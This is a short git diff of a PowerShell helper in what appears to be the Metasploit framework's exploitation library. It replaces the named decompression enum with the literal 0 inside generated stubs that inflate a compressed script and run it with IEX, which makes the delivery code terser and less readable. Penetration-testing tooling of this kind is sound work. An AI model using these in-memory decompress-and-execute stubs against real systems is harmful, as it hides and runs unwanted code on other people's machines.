diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb
index d4b432eda7..1d42a464bd 100644
--- a/lib/rex/exploitation/powershell.rb
+++ b/lib/rex/exploitation/powershell.rb
@@ -51,7 +51,8 @@ module Powershell
       psh_expression << "$(IEX $(New-Object IO.StreamReader("
       psh_expression << "$(New-Object IO.Compression.DeflateStream("
       psh_expression << "$s,"
-      psh_expression << "[IO.Compression.CompressionMode]::Decompress))"
+      # [IO.Compression.CompressionMode]::Decompress = 0
+      psh_expression << "0))"
       psh_expression << ")).ReadToEnd());"
 
       # If eof is set, add a marker to signify end of code output
@@ -87,7 +88,8 @@ module Powershell
       psh_expression << "$(IEX $(New-Object IO.StreamReader("
       psh_expression << "$(New-Object IO.Compression.GzipStream("
       psh_expression << "$s,"
-      psh_expression << "[IO.Compression.CompressionMode]::Decompress))"
+      # [IO.Compression.CompressionMode]::Decompress = 0
+      psh_expression << "0))"
       psh_expression << ")).ReadToEnd());"
 
       # If eof is set, add a marker to signify end of code output